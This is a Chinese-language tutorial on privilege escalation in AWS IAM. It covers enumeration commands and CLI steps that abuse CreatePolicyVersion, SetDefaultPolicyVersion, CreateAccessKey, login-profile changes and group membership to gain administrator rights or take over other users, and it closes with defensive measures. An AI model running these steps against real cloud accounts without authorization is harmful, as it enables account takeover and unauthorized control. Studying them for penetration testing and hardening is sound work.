云安全之IAM权限提升场景和利用
字数 1227 2025-08-22 12:23:06
AWS IAM 权限提升场景与利用技术详解
1. IAM 基础概念
1.1 IAM 概述
AWS IAM (Identity and Access Management) 是 AWS 的身份和访问管理服务,主要功能包括:
- 用户管理:创建和管理具有独立凭据的 IAM 用户
- 组管理:将用户分组并分配统一权限
- 权限管理:通过策略定义访问控制规则
- 角色管理:为 AWS 服务或实体分配临时安全身份
- 多因素认证(MFA):增强账户安全性
1.2 sts:AssumeRole 操作
sts:AssumeRole 是 AWS STS (Security Token Service) 的关键 API 操作:
- 允许实体临时获取另一角色的权限
- 生成临时安全凭证(访问密钥、会话令牌和到期时间)
- 主要应用场景:
- 跨账户访问
- 权限委派
- 临时权限提升
信任策略示例:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::123456789012:user/Susan"
},
"Action": "sts:AssumeRole"
}
]
}
2. IAM 枚举技术
2.1 基本枚举命令
# 获取账户授权详情
aws iam get-account-authorization-details
# 列出所有用户
aws iam list-users
# 获取特定用户信息
aws iam get-user --user-name <username>
# 列出用户内联策略
aws iam list-user-policies --user-name <username>
aws iam get-user-policy --user-name <username> --policy-name <policyname>
# 列出用户附加策略
aws iam list-attached-user-policies --user-name <username>
2.2 自动化枚举工具
推荐工具:bf-aws-permissions
3. IAM 权限提升技术
3.1 SetDefaultPolicyVersion 漏洞
漏洞原理:
- 允许将指定策略版本设为默认版本
- 通过设置包含广泛权限的策略版本实现权限提升
利用步骤:
- 识别可修改的策略
- 创建或识别具有高权限的策略版本
- 设置为默认版本
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
3.2 CreatePolicyVersion 漏洞
漏洞原理:
- 创建新策略版本时使用
--set-as-default参数 - 绕过
iam:SetDefaultPolicyVersion权限限制
利用步骤:
- 准备高权限策略文档(如管理员策略)
- 创建新策略版本并直接设为默认
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
管理员策略示例:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
3.3 CreateAccessKey 漏洞
漏洞原理:
- 为目标用户创建新的访问密钥
- 获取Access Key ID和Secret Access Key实现完全控制
利用方法:
aws iam create-access-key --user-name <target_user>
3.4 CreateLoginProfile & UpdateLoginProfile 漏洞
漏洞原理:
- 为目标用户设置或修改AWS控制台登录密码
- 直接通过控制台访问目标账户
利用方法:
创建登录配置:
aws iam create-login-profile --user-name <target_user> \
--no-password-reset-required --password '<password>'
更新登录配置:
aws iam update-login-profile --user-name <target_user> \
--no-password-reset-required --password '<password>'
3.5 AddUserToGroup 漏洞
漏洞原理:
- 将用户添加到高权限组
- 继承该组的所有权限
利用步骤:
- 识别高权限组
- 将自身用户添加到该组
# 列出组附加策略
aws iam list-attached-group-policies --group-name <group_name>
# 添加用户到组
aws iam add-user-to-group --group-name <group_name> --user-name <username>
4. 防御措施
- 最小权限原则:仅授予必要权限
- 策略版本控制:严格管理策略版本
- 定期审计:检查异常策略修改
- 监控关键操作:如CreateAccessKey、SetDefaultPolicyVersion等
- 使用条件限制:在策略中添加时间、IP等条件限制
- 启用MFA:对敏感操作要求多因素认证